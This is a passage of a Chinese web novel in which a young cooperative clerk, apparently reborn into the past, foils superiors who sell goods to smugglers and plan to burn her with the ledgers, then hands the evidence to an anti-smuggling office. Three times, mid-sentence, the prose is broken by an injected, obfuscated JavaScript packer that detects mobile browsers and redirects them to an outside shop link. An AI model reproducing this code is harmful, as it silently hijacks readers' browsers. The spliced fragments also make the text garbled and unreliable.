一听到徐丽芬的名字,马小梅那两条淡淡的眉毛立马竖起来。略胖的身材剧烈地颤动。显然是知道她妈跟徐丽芬的恩怨情仇。 “好啊,好。这工作好。” 田甜看她那咬牙切齿的样子,就知道接下来马小梅不会让自己失望了。 —— 果然,一到仓库,她还没跟徐丽芬开口呢。马小梅已经劈头盖脸就来了句:“你就是徐丽芬?听说你经常欺负我妈?” 徐丽芬:“我……我没有……你是刘姐的女儿吧!” 今天听说了田甜卖工作的事情,徐丽芬相当恼火。没想到这个抢了自己工作的女人,居然那么快就冒头。 不过看她这爆炭样子,跟刘姐一个类型。对付这种人,她最拿手了。 于是,在田甜的视角里,徐丽芬迅速切换成楚楚可怜的样子。配上她那白色毛衣,白色裤子,还多了些丧。 仓库这边干活的大部分都是男人。 看到徐丽芬这个样子,立马聚拢过来,一副给徐丽芬撑腰的样子。 “狐狸精!” 马小梅总算比刘姐要有脑子点,小声骂了句,暂时不再挑衅。 田甜见状,知道轮到自己出场了。 “好了好了,大家以后都是同事。有什么事情不要那么计较啦!特别是你,阿芬。你那么善良,那么体贴,肯定不会跟马同志计较那么多的对吧!” 这话让徐丽芬差点维持不住表情。偏仓库其他人都点头。这让徐丽芬更加生气。但是人设不能崩,特别是身边还有那么多同事,徐丽芬只能忍。 田甜就很乐呵了。 “看吧,阿芬。我就知道你是个善良的好人。仓库的同事都是这样认为的。好了,我今天过来,是奉我们卢科长的命令,帮忙跟你们仓库进行一些数据比对的。我们去哪里开始?快过年了,事情早点干完早点放假。” 徐丽芬被田甜这一箩筐话弄得不敢再做什么。只能憋屈地说道:“你能来帮忙就太好了,田甜。你们财务那边的账册带过来了没?” 田甜呵呵,心想她带过来才是傻子呢。 “没呢。财务的账册太重要了。我先在你这边看看今年出入库的详细资料。没问题的话,再拿过去跟我们财务的账册比对。” 这时,远处有人走了过来。 “哎,是财务科的小田对吧!你们卢科长上午还说会安排你来。没想到来得这么快。阿芬,带小田同志先去瑕疵品仓库那挑些我们部门内部的货,好感谢人家过来帮忙。至于工作不着急。” 田甜故意装作着急的样子说道:“刘主管,你好。这工作比较着急。我们科长催着呢。要不先开始工作吧。其他事情等工作做完后再来不迟。” 刘主管双手一拍,一副夸赞的样子:“小田真是个好同志。难怪你们卢科长好几次都夸他们科来了能干的。这样,工作的事情我们这边有好几个人负责。你真不用担心。你们科长让你过来,主要是跟你们财务做一个交叉比对。其他你不用担心。所以,先去挑东西。不然你这效率太快,我们仓库的人也会紧张的。这一紧张,工作容易出错。” “瑕疵品仓库正好堆了不少你们年轻女孩喜欢的东西。过去随便挑,不用跟我客气。” 得了,如果她不去挑瑕疵品,仓库的人工作出错就是她的锅。 说来说去,就是不让她接触仓库的数据。来之前她就想到会这样。 毕竟他们要的不过是个背锅的。出入库的数据她是注定摸不到边的。即使摸到,也是假资料。真正的资料应该被藏起来了。 越是不让她接触,越说明他们会在这两天就动手。毕竟不能拖太久不是。 想明白了其中的关节,田甜没再说什么。而是笑着跟刘主管道谢,跟着徐丽芬就去后面专门放瑕疵品的小仓库走去。 马小梅见事情变成这样反而高兴了。 “没想到这工作是走过场的啊。亏得我还担心了一路。哎,这工作不错啊!居然有那么多瑕疵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342608|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品让我们挑。” 田甜没理会马小梅的碎碎念,而是认真地观察起瑕疵品仓库。 整个供销社的仓库一共有三个。大件商品一个仓库,小件商品一个仓库,剩下一个则是专门放瑕疵品。 别看现在改开了,物资逐步增加。但供销社的瑕疵品依然是好东西。 田甜也没客气。怀里揣着两千块呢,就直接开始大扫荡。 毛巾不错,来20打。 花布不错,来10匹。 居然还有毛呢料,来1匹。 哎,这牙刷不错,来100支。 嗯,这床单很好,来10张。 哎呀,这里居然还有塑料凉鞋。可以,男女款各50双。 看着田甜疯狂扫货,负责带路的徐丽芬傻眼了。 本来只想捡漏的马小梅也被震住了。 田甜见状,站直身体,还伸手锤了锤后腰,做出一副好累的样子。 “阿芬,怎么呢?不可以买吗?刚刘主管不是说随便挑吗?” 徐丽芬已经维持不住那副楚楚可怜的样子了。她吞吞吐吐道:“可是……可是你也买太多了吧!” 田甜摊手,笑出八颗白牙齿:“不多啊!我刚卖了工作,有钱呢。反正这些东西都不要票,我买得起,你不用替我心疼钱。” 徐丽芬心里暗骂谁提你心疼钱啊! 但是她不敢再说什么。她算是发现了,现在的田甜她就不正常。只能去找刘主管过来了。 “什么?” 当听到田甜要买那么多瑕疵品后,刘主管的黑脸变成了猪肝色。他想过去教训田甜,被过来找他的采购科许科长拦住了。 “老刘,算了。这么点东西,就当她的买命钱好了。” 仓库里的田甜自然不知道许科长说的话。即使知道她也不在意。反正敢把自己弄来仓库,那她不努力搬空瑕疵品,她不就白白被人欺负了吗? 当然,田甜敢这样做也是有依仗的。 这不,两千块最后被她花剩下480。东西买下后,她直接打电话给牛仔,让他找上次那个拖拉机过来拉货。 牛仔被吓了一跳。跟车过来一看,对着田甜竖起了大拇指。 装货的时候,刘主管黑着脸出来。 田甜笑着朝对方说起感谢话来。然后刘主管的脸更黑了。田甜看到后更乐了。 看着对方气得转身回办公室,田甜这才把脸上的笑容收回去。 而回到办公室的刘主管,总觉得那个帮忙搬货的小子有点眼熟。 一般来说,有点眼熟的,代表这人有点子背景。 他有点担心,找人出去打听一圈,回来的消息让他差点爆血管。 着急忙慌跑去财务科找卢科长。 “老卢,你们科那个小田到底什么来头?” 卢科长:“没什么来头,底下小村子来的。家里父母都是农民。” 刘主管:“那她怎么认识水货街电器店的人?” 一听这个,卢科长表情有点凝重。主要是水货街用的运货路线,跟他们有相当一部分重合。 如果田甜认识水货街的人,那她有没有听说过关于供销社走货的事情? 12. 第 12 章 “不管她听没听说过,事情已经决定了。就她了,人选不改。” 还是那家私人饭馆,还是那个包厢,许科长看着外面的路灯,斩钉截铁地说道。 卢科长跟刘主管倒是有点纠结起来。下午许科长没在,不清楚事情的经过。但按照他们两人的打听到的,田甜跟那个电器店员工是同村的。而且看着关系很好,他们都担心田甜已经知道供销社有人偷偷往外面卖货。 “老许,就怕他们已经互相通过气。” 许科长这人有股狠劲,不然也不会三十多就当上采购科科长。听到卢科长跟刘主管的纠结,立刻拍板:“成大事者不拘小节。既然怕被这个田甜发现,那就直接把人给解决了。” “嘶……” “老许……” 卢科长跟刘主管异口同声,双眼震惊地看向许科长。 而许科长则是朝他们比了个割喉的动作。 “你们两可能还没听说,前几天码头那边抓了好些走水货的。那些人被抓到现在,不知道吐了多少东西出来。我们往外倒腾东西,走的跟水货销货是一条路子。这个事情又不是完全保密。 那么多人被抓,总会有二五仔出卖我们的消息。趁着现在事情还没出,赶紧消灭证据才是正理。” 许科长想到这些天打听到的消息,之前还觉得不用那么狠。但现在看来还是狠点好。男人做事就得要狠。不狠难发财。 至于这个田甜,就当她倒霉好了。 “哎,老许。这……这用不着杀人吧!”卢科长只想求财,根本不想沾人命。再说,田甜好歹是他的下属,背点黑锅,没了前途还好。真要把人给弄死,有点太狠了。 刘主管也跟着点头。摊上人命官司,事情就没那么简单了。 “怕什么?到时候让她意外没了就是。正好那些账册、出入库记录什么的,到时候一起毁了。” 卢科长还想挣扎:“老许,那干脆把账册、出入库记录全部毁了就是了。也不用把小田牵扯进来。” 许科长冷笑:“事情要这么简单就好了。怎么?拿钱的时候觉得轻松,现在想退缩啦!这个事情就要有人背锅。之前让她弄丢账册就算了。现在看来干脆来个釜底抽薪。找个机会让她跟所有账册、出入库记录、还有保险箱一起烧了。记得保险箱的钱先拿出来……” “这……” 卢科长立刻明白了许科长的意思。刘主管见状,也反应过来了许科长的意思。心下一寒。觉得这老许真是够狠。这种人合作起来一点都不安全。 “行了,这个事情你们两不用参与。到时候我来安排。” 许科长看出卢科长跟刘主管都想退缩,这个状态去办事肯定办不好。索性他有其他人可以安排。 一听不用自己干,卢科长跟刘主管齐齐松了口气。 —— 远在家里的田甜还不知道杀机临近。这会儿她觉得今天财神爷对自己太好了。 拉着一堆物资到了家门口,就见自家院子站着不少村民。 他们看到田甜,也看到了拖拉机车斗堆得满满的物资。当下就有人惊呼: “田甜,那么多东西哪里来的?” “怎么说话的呢?肯定是花钱买的啊!”田爸从人群中跑了过来,边跑边朝说话人翻白眼。 对方被田爸的态度弄得有点不好意思。 田甜从拖拉机上跳了下来,招呼几个相熟的小年轻帮忙卸货。不忘问她老豆院子怎么那么多人。 田爸一听嘿嘿直乐:“傍晚来了台大卡车,下来了两个外地人。说是来这边收海货。我一听就知道他们这是走错路了。知道走错路,他们就想走,我赶紧把人拉家里来。我们家可有一千斤的咸鱼干呢!” 田甜一听,朝她老豆竖起一个大拇指。 果然机灵,不愧是自己老豆。 “你妈正在一代代让对方验货呢。价格跟你提前说的那样,卖1.5元一斤。” 果然真能卖这个价格。 咸鱼的零售价平时是1.5元一斤,临近春节,物价有所提升。现在集市上卖1.8元一斤的都有。 对方是外地来的,又着急拉货回去,赶在春节前卖。所以卖他1.5元一斤真不贵。这可给对方省了去找货源的时间。 “对了,乖女。怎么拉这么多东西回来?” 田爸吭哧吭哧地抬了那一匹呢子料下来,顺嘴问了句。 田甜没来得及解释,就已经被村民们包围了。 他们都是来看田甜家卖咸鱼的。没想到碰到田甜拉那么多物资回来。不问个清楚明白,可不甘心。 田甜也没让大家失望。 等货全部卸到院子的一个角落后,她索性站在一张竹椅上,大声朝人群喊道:“大家安静一下。拉回来的这些东西,大部分都是要卖的。需要买的人,麻烦排队。不排队就不卖了!” 刚还闹哄哄的人群,一听这话就你推我我推你,都想排在第一位。 田甜见状也不生气。村里人就这样,都觉得第一个买的人,能买到最好的。 “不用争。东西都是日用品,数量很多。虽然都是瑕疵品,但质量没什么问题。” “全部不要票,价格按照供销社的价格来。” 之前还在争的人,听到这话后,一个个更加激动了。 不过,田甜最后补了句:“现在天黑黑的,我家院子就这么一盏灯泡。大家要是挤了,东西看不清买错了我可不退的。可不要想买肥皂,最后带回去块毛巾。” 最后一句显然是故意说笑的,大家一听都乐了。气氛也好了起来。争着排队的人也不争了。反而三三两两讨论起要买什么东西。 田甜见状抹了把汗。赶紧喊牛仔过来帮忙。这小子今天最给力。帮忙叫了拖拉机,又帮忙一起拉货回来。这么好用的劳动力,自然也要帮忙卖货啦。 还有围观的凤妹,也被田甜叫了过来帮忙。 田甜把价格跟大家强调了一下,让她爸这里看着,就往咸鱼堆那边走去。 这里之前围了不少人,现在大部分人都跑隔壁买东西了。田甜就轻易地看到验货的两个客商。 身材高大魁梧,普通话一听就是中原地区的。 “妈,现在怎样?” 田妈:“回来啦,肚子饿了没?等这些咸鱼卖完,妈去给你弄吃的。” 田甜:“不着急,回来前跟牛仔一人吃了一碗炒河粉。” 她过来除了看看需不需要帮忙,就是想认识这两个客商。说不定以后会有合作的可能。 对方早就知道田甜才是咸鱼的主人,所以也没因为她年轻就瞧不起。跟对方交换了联系方式后,田甜见自家妈可以搞定,又走回了卖货这边。 结果见小山一般的货物堆,居然下来了四分之一。 这速度也是没谁了。幸好卸货的时候,留给自家的东西已经搬进家里。不然怕很快都会被买走。 因为她已经看到村路上时不时有人过来。显然是买到东西的人已经回去宣传了一波。这些人过来看到她,就会吹一波,夸她厉害,夸她能干。这种人还不止一个。搞得田甜一晚上几乎没怎么卖东西,都应付各种夸赞、各种试探了。 相较于她这边的热闹,隔壁大伯家就关门闭户、安安静静。 凤妹卖货的间隙,不忘跟田甜吐槽:“你爸妈带着客商过来的时候,田芯就在门口盯着。看到你回来才把门关上。” 田甜顺着凤妹的话看过去,大伯家果然关门闭户。但是,窗户那看过来的视线不就是田芯的吗?看来对方对自己是真恨啊!田甜觉得这恨真的很无厘头。 估计田芯又想搞事情。 不过算算时间,她寄出去的那十多封信应该快要看到效果了。到时候,田芯也没精力盯着自己了。 这晚一直忙到半夜11点多才结束。忙到最后,隔壁两条村都有人打着手电筒过来买东西。毕竟不要票,价格又便宜,东西又实用。 等送走来帮忙的人,一家人这才坐下来开始数钱。 是的,今晚卖咸鱼的钱还好,一叠叠扎好的。卖日杂货的钱,却足足放满了一个箩筐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342609|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为很多都是零钱,数起来好苦。但是田甜的嘴角一直没有下来过。 数到一点钟左右,账就出来了。 卖咸鱼一共收入1500元。 卖日杂货一共收入2103.8元,扣除成本,利润是583.8元。 半天的功夫,赚了五百多。说出去真是狗都不信。但事实就是这样。现在是卖方市场,几乎没有卖不出去的东西。物资需求太大了,供不应求。 给爸妈一人面前放了300块,表示这是他们这段时间做花生糖、卖货的辛苦费。 两人都想拒绝。主要是觉得这个利润太高了。虽然知道女儿会赚钱,单看花生糖倒腾的那一下就知道。但一晚上赚了人家一年的工资,挺吓人的。 “给你们就收着。现在给你们一人300。说不定过些时间,我一人能给你们3000呢!” 听到这话,田爸田妈都觉得高兴。但高兴过后,还是担心: “乖女啊,这些货这么多,拿回来这样卖真没事?”田爸、田妈还是不放心。女儿在供销社工作一年多了,每次拿回来的瑕疵品就一点点。这次量这么大,实在太奇怪了。 田甜也没隐瞒。把今天在仓库的情况,以及目前自己所处的形势大概说了下。 “不行,太危险了。反正工作都卖了。不然明天你就装病不去上班吧!”田爸听完立刻说道。 田甜摇头。要是能装病躲过去就奇怪了。她要真不去上班,信不信屎盆子就直接扣上来。她现在去上班,还不怕人家栽赃陷害。真不去了,才是砧板上的肉。 所以,这个事情必须要尽快解决。就看今天牛仔的出场,是不是能够成为催化剂。 —— 第二天,田甜就知道牛仔真的成了催化剂。 因为一上班,卢科长的态度就变得很客气。然后指着一堆账本,让她今天不用去仓库。晚点徐丽芬会带仓库的出入库资料过来,跟她一起核对。 这已经有点奇怪了。毕竟昨天是她去仓库。今天却变成徐丽芬过来。 而接下来的情况,让田甜确定自己真的有危险。 因为整个财务科的职工除了她,都被卢科长叫去仓库帮忙了。 当然,让田甜百分百确定自己有危险的,是她发现手里拿的账册,以及徐丽芬那边带过来的仓库资料居然是真的。 什么情况下,坏人会把证据送到受害人跟前? 毁尸灭迹的时候。 虽然觉得很疯狂,但有着未来十年经验的田甜,很快就想到后世一些社会新闻。 XX单位仓库火灾,烧毁了所有库存。 XX财务室火灾,烧毁了所有会计账目。 看,多简单。 什么证据一把火下去就都没了。 至于上午就拿出真的账册给自己,估计是觉得自己一个只会贴凭证的菜鸟,看不懂总账吧。 可惜,她可是有着十年工作经验的老鸟。看总账一点问题都没有。 “田甜,你怎么一直盯着账册看啊!眼睛不累吗?卢科长说主要核对出入库的货物数量,跟账册里面的总数对不对得上。你这是找不到地方吗?要我帮你不?” 徐丽芬说话慢条斯理,没有往日的那种柔柔弱弱。 田甜抬头看向对方,发现她的眼神充满了一种高高在上的怜悯。 得了,这人估计知道卢科长他们那边的安排。说不定,动手的人还有她。 “今天估计要加班,幸好饭菜有人帮忙打过来。辛苦这天,明天应该就差不多了。” 徐丽芬还在那哔哔,田甜从中提取到了他们的行动时间。 晚上加班的时候。 夜黑风高杀人夜呢! 杀机降临,田甜有点紧张。头皮发麻,后背起鸡皮疙瘩。还有点想上厕所的冲动。 当然,以上的感觉都在一瞬间过后就消失了。 这年代是猪都会飞起来的年代。但也是最为疯狂的年代。 田甜深呼吸几下,让自己冷静了下来。 她要自救。 13. 第 13 章 “不是,以后我不会跟你一样,年年都来这一遭吧!” 下午,供销社财务科里,马小梅看着田甜埋头在一堆账册里,烦躁地抓着头发。跟着忙了一个上午,显然已经让马小梅的耐心消失。 田甜见状,一副好脾气的样子说道:“这个就不清楚了。去年没有这个事的。今年忽然领导给安排也没办法。不信你问问阿芬,去年我们两个都没接触这块工作呢。” 隔壁办公桌的徐丽芬放下手里的茶杯,慢条斯理地点头。 “马同志,你要是对这个工作有意见,就去找领导。不要在这里影响我们的工作。” 马小梅见她这样阴阳怪气,跺跺脚往外走。她也想骂徐丽芬,但来了两天,她从对方手里也没占到过便宜。每次跟对方吵架,都会被领导看到。真是够邪门的。 见马小梅吃瘪走了,徐丽芬又露出一副善解人意的样子:“田甜,不用那么拼命。虽然今天的工作量很大,但我会陪你的。就是加班到晚上12点都不怕。大不了去我那住一晚。” “还是你好啊,阿芬。我们差不多时候来上班的。就你分配到宿舍。真是让人羡慕。” 徐丽芬抬手挥了挥,一副不好意思的样子:“我不过是运气好而已。还是多亏了许科长。我跟你说,许科长这人是真好人。我那个宿舍要不是他开口说情,也轮不上我……” 田甜看着今天格外兴奋的徐丽芬,觉得她脑子有坑。 听着对方一句句许科长,不知道的还以为她是许科长的老婆呢。这样情绪外放,难不成真当自己是死人呢? 想到这,田甜说道:“阿芬,知道许科长人好。但他都结婚了,你平时说话还是小心点,免得被人说闲话。” 徐丽芬瞬间破防,眉毛倒竖:“谁敢!”说完后,这才反应过来,立刻又挂上楚楚可怜的面具。 田甜假装看不到,反而一副为你好的样子继续:“我前两天才看到许科长跟他老婆一起逛街呢。两个人恩爱的很。他老婆看中了什么,许科长就直接买单……” 边说,田甜边注意观察徐丽芬。果然看到对方又变脸了。那副嫉妒的样子,看得田甜直摇头感叹,真是个傻子。 那许科长孩子都能打酱油了。喜欢上这样的人图什么?图他年纪大,图他心狠手辣啊! 不是田甜瞎想,而是基于目前所知的信息,她大概推断出,许科长看中徐丽芬,应该跟她仓管的职位脱不开关系。再有一个,看今天徐丽芬的言行举止,对方显然知道了今天是动手陷害自己的日子。 就是不知道徐丽芬清不清楚,那些个老鼠想要的是自己的命。 不过这不妨碍田甜接下来的计划。毕竟徐丽芬也不是什么好人。 于是,田甜继续用语言刺激徐丽芬。直到对方终于按捺不住,找了个借口离开了办公室。 田甜立刻跟着出门,见她朝采购科走去,嘴角微微勾起。 下一步就需要马小梅的帮助了。 而马小梅也没让田甜失望。 去外面发完烂渣【发完脾气】回来,马小梅就发现徐丽芬不在。 “她人呢?” 田甜:“徐丽芬吗?刚出去了,好像是去采购科。”说到最后,田甜欲言又止。 作为资深员工刘姐的女儿,马小梅自然也听说过徐丽芬的风言风语。 传闻中,徐丽芬跟采购科的人搞在一起。具体是谁暂时不清楚。 只见她眼珠子一转:“田同志,我有点事先去。” 确定两个人都走了后,田甜没有耽搁时间,打了几个电话出去。然后准备收拾一些账本。 这些账本都是她一个上午筛选出来,觉得有问题的。 不过东西没收拾多久,就听到外面传来一阵吵闹声。田甜一听就知道事情成了。赶紧过去把办公室的门锁上。等把账本打包好,外面已经吵得拆天咁响。 期间时不时有人敲门,她都当没听到。这些人估计是想喊她看热闹的。但田甜还真不想看这热闹。更加不用说,热闹是她推动的。 趁着外面吵闹不止的时候,她拎着打包好的账本来到后窗。 供销社的布局是这样的。前面是卖货的柜台,后面是办公区。而财务科的办公室有一扇后窗。从后窗出来是供销社的围墙。翻过围墙就是大马路。 田甜拎着一堆账本翻出了后窗,刚好就看到围墙上冒出个人脑袋。来人正是牛仔。 “来啦,接着。” 田甜没有跟对方废话,直接把账本一股脑塞过去。然后原地助跑,三两下就跳上了围墙。从墙头下来的时候,就听到财务科那边传来喊自己的声音。 “走,赶紧。”率先跳下围墙,田甜直接上了边上停着的摩托车,点火发动起来。 后一步跳下来的牛仔,只能抱着那一大包账册坐在后座上。嘴巴不忘吐槽:“慢一步亏了。让你一个女孩载着我。不用明天怕认识我的人都知道,我牛仔被个靓女开摩托车载了。” 已经配合油门启动摩托车的田甜,听到这话哈哈笑起来。 “那可不!有我这样的靓女载你,真是三生有幸喽!”说完,她闭上嘴巴,开始加速。 目的地——海关缉私科。 是的,供销社的业务虽然属于内贸。但是,根据从水货街那边打听到的消息,许科长他们从供销社偷出来的货,全部送到走私船上了。据说一部分走水路,跟着水货一起北上到其他城市。一部分则是跟着船南下,直接倒腾到东南亚地区。 在准备举报的时候,田甜就考虑过举报到本地的派出所。但知道这个情况后,她就把目标放在缉私科。 一来,涉及到走私,正好是缉私科管辖范围。 二来,这年头县城的关系错综复杂。谁也不敢保证,供销社那些老鼠,有没有跟派出所的人认识。要真找派出所,被人一个通风报信。自己怕真可能被人刀了。 再有一个,缉私科的话,牛仔的老板有关系在里面。嗯,就是这么魔幻。多的不能说,但田甜这是送上门的功劳。人家那边肯定是要的。 就这样,田甜他们很顺利地把账本送到缉私科。然后留在那做笔录。 笔录做完出来,天早就黑透了。不过也不怕那些老鼠走佬【跑路】。因为在做笔录的时候,缉私科已经开始行动了。也是在笔录的时候,田甜才知道,之前被抓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342610|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥强,把供销社那边的路子供了出来。 没有她举报的话,这个事情可能会有追查,也可能就这样不了了之。但有了她提供的证据,这一切自然就不同了。 至于上辈子为什么供销社的事情一直没有爆出来,田甜估计那些老鼠搞了些“公关”。 嗯,就是请客、吃饭、喝茶、送礼那一套。 反正等她坐上摩托车准备回家时,刚好看到许科长几个被抓了进来。 “哟,那个人怎么被打成个猪头炳?” 田甜:“这就是我跟你说的那个,跟徐丽芬有路【有染】的许科长。” 牛仔立刻反应过来,舔了舔大牙,发出嘶一声。 “别那么夸张。他一个出轨的渣男,抵【活该】他被他老婆打成个猪头炳。” 牛仔也是知道田甜的计划。就连那个许科长的老婆,也是田甜打电话给他,让他通知对方来供销社抓奸的。 那时候他还觉得谁胆子那么大,居然敢在供销社乱搞。怀疑田甜的计划行不通,最后说不定要他英雄救美。没想到这事还真成了。 “你牛!”牛仔给田甜竖起了个大拇指。 田甜抬了抬下巴:“一般般。” 反正在决定刺激徐丽芬的时候,她就料到对方会跟许科长来一场深入交流。无他,只因为她对徐丽芬的了解。知道这是个嫉妒心很强的人。知道许科长对他老婆大手笔,还不乱吃飞醋。 吃醋后她就会用身体这一招。这是上辈子听到的流言推断出来的。 有了这个,再安排牛仔通知许科长老婆抓奸。如果对方不来,还有马小梅母女这个徐丽芬的对头作为保险。 结果如同田甜安排的那样万无一失。 等到第二天,田甜接到了电器店老板的电话,才知道许科长他们不止准备把自己,连同那些真实的账本一起烧掉。而且,怕自己反抗,已经买好了安眠药,安排徐丽芬下到晚饭。 如果自己没有提前推断出有杀身之祸,这时候怕是被烧得渣都没得剩。 幸好,赢的人是自己。 接完这个电话,田甜从村委出来,迎面就碰到田芯。 只见对方双眼放光,看到田甜就大声嚷道:“田甜,听我朋友说,昨天下午供销社有人乱搞被抓现行了。那个被抓的女人,是你的好朋友。这是真的吗?” 大早上的,村委这里人很多。听到抓奸这两个词,大家眼睛嗖嗖嗖地看向田甜。 田芯见状,更加兴奋了。 “我看一定是你那个叫什么芬的朋友了。你是不是因为这个,今天才不好意思去上班的。你不用这样,你朋友被人抓奸,不代表你也是这样的人啊!” 田甜见她这副得意洋洋的样子,懒得理会。 “嘴巴放干净点,小心反弹。” 田芯正因为抓到田甜的痛脚高兴呢。听到这话,直接问:“什么反弹?” 就在这时,她身后不远,有个村民正领着几个小伙子过来。 离得近了,田甜都听到他们的说话声。 “看,田芯不就在那。” 田甜看着越来越近的人影,嘴角的弧度越来越大。 14. 第 14 章 “田芯……” “芯芯……” “芯芯,你跟他们说,我们两……” “不不不,我跟芯芯才是心心相印的。” 都说人多了凑一起说话像鸭叫。 这会子田甜看着七个高矮胖瘦、美丑不一的男人凑一起说话,那效果比十只鸭子叫还吵。 谁说女人吵的。听听,这些又争又抢的男人,才是真的吵。 田芯已经被这样的变故,给惊得说不出话来了。 好一会儿,才磕磕巴巴地说道:“你们……你们怎么来这里……”话到最后,语气变得相当惊恐。 七个男人这时候倒是默契十足:“我们收到你的信。信上说你有很多个好哥哥。我们不信……” “什么信!”田芯脸上的惊恐加剧,声音变得十分尖利。聪明如她已经反应过来,这是有人要搞她。不行,不能这样子。 常年游走于各色男人,还能片叶不沾身。田芯就不是个容易被打击的。寻常的女孩,被这么多好哥哥同时找上来,怕早就没脸见人了。 但田芯她就不。 “哎,这,哎。你们有事的话,我们找个地方慢慢说。这里面肯定有误会。” 田芯尽量做出一副善解人意的样子,劝说眼前这七个男人。 说完,又做出一副为难的样子,朝四面八方看过来的村民们点头。 本来听七个男人的话头,大家都在心里嘀咕田芯搞不正经关系。但看到她这副为难的样子,又觉得她说的误会可能是真的。 毕竟即使是搞不正经关系,一般人最多脚踏两条船。眼前可是七个男人呢!田芯总不能一下子跟七个男人搞不正经关系吧!虽然一个星期有七天,一天一个男人好像也说得过去。 田甜在边上旁观村民们的态度变化,啧啧称奇。 要不说田芯果然有几把刷子。这样的情况都能扭转过来。但是,她怎么可能让田芯这么容易就过关?那样,不就浪费了自己寄出去的那十多封信吗? 不过没等她亲自出马,就有人按捺不住。 只见那七个男人在听完田芯的劝说,都有些意动,想着听田芯的话,跟她一起找个空旷的地方慢慢谈。 结果,不知道哪里传来的声音大声问道:“靓仔,别走啊!你们谁是田芯的男朋友啊!” 这话一出,七个男人再次异口同声:“是我!” 轰…… 田芯只觉得耳朵轰鸣一声,大脑充血。 田甜则是看向喊话的人。嗯,是村里的何寡妇,她大伯娘的老对头。 这算是当妈的作孽,连累到女儿吗? 趁着这个势头,田甜紧接着开口:“何婶,你说的什么话呢!这里可是七个男人啊!他们都说是田芯的男朋友。这可能吗?肯定是他们说谎啦!” 这种茶言茶语,田甜还是从徐丽芬身上学来的。效果吗?看看村民们的指指点点就知道了。 田芯被田甜的话气得肺都要炸。但她现在不敢撒泼。只能干笑着继续接着田甜的话道:“是真的,这些都是我朋友,各自有些误会而已。请大家不要误会,我还单身,没有对象呢!” 说完,再也待不下去,抬脚就朝村口跑。 那七个还在争抢正宫位置的男人见状,也不吵架了。一个个抬脚就跟了上去。人多,还把村里黄泥路弄得尘土飞扬。 留在原地的田甜被村民们围了起来。 “田甜,刚刚那些靓仔,到底哪个才是田芯的男朋友啊!” “田甜,田芯有那么多男朋友。你怎么还是一支公【单身】啊!” …… 面对充满各种意味的试探,田甜都摆出一副好脾气的微笑。当然,除了微笑还是微笑。其他一句话也不说。 这场合,她说田芯好话,会被人说她跟田芯是一伙的。 她说田芯坏话,会被人说她没有姐妹情。 这时候,沉默是金。 不过最近田甜真是时运高【运气好】。 刚被村民们围起来呢,就听到村委那有人喊自己过去接电话。 田甜赶紧过去,接过电话一听,果然是来喊自己过去缉私科配合调查的。 挂断电话,村长关心道:“是在外面碰到事了吗?” 这时候的电话密闭性差,村长把电话内容听了个清楚。 田甜摇摇头:“没事,村长叔。我就是过去配合一下调查。不止我去,我们供销社大部分都被叫了过去。” 村长一惊。 昨天供销社出事,他也是今天早上从熟人那听来的。不同于村里人只听说抓奸。村长知道的更多。 “听说抓的走私。也不知道供销社跟走私怎么联系到一起。反正你一个女孩,到了缉私科有一说一就好。其他事情不要掺和进去。” 田甜很想说自己早就掺和进去了。甚至还是主导的一方。不过也只是想想。她早就跟父母商量好,关于供销社的内幕,一点都不在村里透露。 那一出抓奸戏码,不止给她带着证据逃离供销社争取了时间。同时,也是在外界起到一个吸引注意力的作用。 这样一来,除了案件相关人士,再也没人知道自己掺和其中。 —— “哎,田芯你来啦!昨天你去哪里啦?昨天有好东西看,你居然错过。真是浪费啊!我跟你说,徐丽芬那光屁股的样子,真是太搞笑了。让她老是欺负我妈,哼……” 刚进缉私科,田甜就被热情的马小梅给抓住。对方咯咯咯笑着跟田甜分享昨天抓奸的细节。 “你不在现场真是浪费啊。我跟你说,我本来都想亲自动手的了。结果许科长的老婆居然来了。啧啧。当时许科长老婆一脚把门踹开,就冲进去一把揪起了许科长,直接左右开弓,啪啪打脸。看得我真是爽。” 田甜本来还以为马小梅会落井下石,叭叭徐丽芬当时的丑态。没想到她说着说着,语气中满含对许科长老婆的赞同。看来,这位虽然性格冲动,但三观很正。 男人出轨,小三有错。但男人更错。许科长老婆直接打男人这点,田甜很赞同。 不过,刚在心里夸了马小梅,这位就吐槽徐丽芬。 “你说她是不是蠢?那么年轻,虽然天天丧着脸跟死了全家那样晦气。但她好歹有个好工作啊!怎么就眼瞎看上许科长这老男人呢!还被人光着屁股抓奸在凳。不过徐丽芬也是好运。搁在前几年,她早被人拉去剃阴阳头,游街批斗了。” 